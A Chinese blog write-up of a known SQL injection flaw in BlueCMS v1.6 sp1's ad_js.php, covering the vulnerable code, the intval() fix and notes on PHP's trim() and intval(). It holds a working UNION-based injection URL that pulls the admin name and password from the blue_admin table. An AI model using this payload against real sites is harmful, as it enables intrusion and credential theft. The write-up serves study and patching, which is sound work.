美文网首页网络安全实验室信息安全黑客
一千零一夜 第1夜 BlueCMS v1.6 sp1 ad_js

一千零一夜 第1夜 BlueCMS v1.6 sp1 ad_js

作者: Arch3r | 来源:发表于2017-12-22 12:41 被阅读44次

    漏洞信息

    下面的漏洞信息表格引用自https://wooyun.shuimugan.com/.

    类型 内容
    编号 141
    漏洞标题 BlueCMS v1.6 sp1 ad_js.php SQL注入漏洞
    漏洞类型 [SQL注射漏洞]
    厂商 [BlueCMS]
    白帽子 CnCxzSec(衰仔)
    提交日期 2010-07-30 19:49:00
    公开日期 2010-07-30 21:52:00
    Confirm Spend -1
    漏洞标签 php+数字类型注射 注射技巧 BlueCMS
    漏洞简介 BlueCMS v1.6 sp1 某页面SQL注入漏洞

    漏洞成因

    缺陷文件:ad_js.php

    第12行: $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; 根目录下其他他文件都做了很好的过滤,对数字型变量几乎都用了intval()做限制,唯独漏了这个文件,居然只是用了trim()去除头尾空格。

    第19行: $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); //直接代入查询。。汗。 |

    验证漏洞

    单引号判断法


    BlueCMS v1.6 sp1 ad_js.php SQL注入漏

    验证POC

    POC : view-source:http://localhost/cms/ad_js.php?ad_id=1%20and%201=2%20union%20select%201,2,3,4,5,concat(admin_name,0x7C0D0A,pwd),concat(admin_name,0x7C0D0A,pwd)%20from%20blue_admin%20where%20admin_id=1

    访问POC链接

    漏洞修复

    trim()函数修改为intval()函数,如下:

    $ad_id = !empty($_GET['ad_id']) ? intval($_GET['ad_id']) : '';

    重新访问POC测试效果

    修复.png

    笔记:

    1.trim( )函数:移除字符串两侧的空白字符或其他预定义字符

    语法

    trim(string,charlist)

    参数 描述
    string 必需。规定要检查的字符串。
    charlist 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符
    • "\0" - NULL
    • "\t" - 制表符
    • "\n" - 换行
    • "\x0B" - 垂直制表符
    • "\r" - 回车
    • " " - 空格
    1. intval()函数:获取变量的整数值

    语法

    intval ( mixed $var [, int $base = 10 ] )

    通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

    参数 描述
    var 要转换成 integer 的数量值
    base 转化所使用的进制。

    Note:

    如果 base 是 0,通过检测 var 的格式来决定使用的进制:

    • 如果字符串包括了 "0x" (或 "0X") 的前缀,使用 16 进制 (hex);否则,
    • 如果字符串以 "0" 开始,使用 8 进制(octal);否则,
    • 将使用 10 进制 (decimal)。

    相关文章

      网友评论

        本文标题:一千零一夜 第1夜 BlueCMS v1.6 sp1 ad_js

        本文链接:https://www.haomeiwen.com/subject/nvvtgxtx.html